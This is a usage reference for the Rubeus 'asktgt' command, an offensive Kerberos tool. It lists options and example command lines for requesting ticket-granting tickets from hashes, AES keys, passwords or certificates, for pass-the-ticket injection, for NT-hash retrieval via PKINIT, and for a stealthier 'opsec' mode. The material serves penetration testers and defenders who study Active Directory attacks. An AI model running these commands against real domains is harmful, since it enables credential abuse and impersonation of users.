asktgt

Request a Ticket-Granting-Ticket (TGT) from a hash, key, password, or certificate. Sends raw AS-REQ traffic directly to the KDC — no LSASS interaction required.

Usage

Rubeus.exe asktgt /user:<username> </password:<password> [/enctype:DES|RC4|AES128|AES256] | /des:<hash> | /rc4:<rc4> | /aes128:<aes128-key> | /aes256:<aes256-key>> [/domain:<domain>] [/dc:<dc-ip>] [/outfile:<output>] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

Options

/user:<username> — target username
/password:<password> — plaintext password (defaults to RC4 enctype)
/rc4:<rc4> — RC4/NTLM hash
/aes256:<aes256-key> — AES256 key
/aes128:<aes128-key> — AES128 key
/des:<hash> — DES key
/domain:<domain> — FQDN of target domain (defaults to current)
/dc:<dc-ip> — domain controller FQDN or IP (defaults to current)
/enctype:DES|RC4|AES128|AES256 — force specific encryption type
/ptt — pass-the-ticket, apply to current logon session
/luid — apply to specific logon session (elevated)
/outfile:<output> — save ticket to file
/nowrap — don't line-wrap base64 output
/opsec — send initial AS-REQ without preauth (stealthier)
/nopac — request TGT without PAC
/createnetonly:C:\Windows\System32\cmd.exe — create sacrificial process, apply ticket there
/show — show the created process window
/certificate:<path.pfx> — use PKINIT certificate authentication
/getcredentials — retrieve NT hash via U2U after PKINIT
/changepw — request TGT suitable for Kerberos password change
/service:<spn> — request service ticket via AS-REQ directly
/proxyurl:<url> — use KDC proxy (MS-KKDCP)
/suppenctype:DES|RC4|AES128|AES256 — suppress encryption type

Examples

# RC4 hash, apply to current session
Rubeus.exe asktgt /user:<username> /rc4:<rc4> /domain:<domain> /ptt

# AES256, create sacrificial process (elevated)
Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes256-key> /createnetonly:C:\Windows\System32\cmd.exe /show

# Password-based
Rubeus.exe asktgt /user:<username> /password:<password> /domain:<domain> /dc:<dc-ip> /ptt

# PKINIT certificate + retrieve NT hash
Rubeus.exe asktgt /user:<username> /domain:<domain> /dc:<dc-ip> /getcredentials /certificate:<path.pfx> /password:<password>

# No PAC
Rubeus.exe asktgt /user:<username> /domain:<domain> /nopac

# For password change (expired password)
Rubeus.exe asktgt /user:<username> /password:<password> /changepw /domain:<domain>

# Save to file
Rubeus.exe asktgt /user:<username> /aes256:<aes256-key> /domain:<domain> /outfile:<output>

Notes

No elevated privileges required to request TGTs for the current logon session
/luid and /createnetonly require elevation
Only one TGT can be applied per logon session at a time with /ptt — use /createnetonly to avoid clobbering existing tickets
/opsec forces AES256 by default; use /force to override with other enc types
Decode saved base64 blob: [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<base64>"))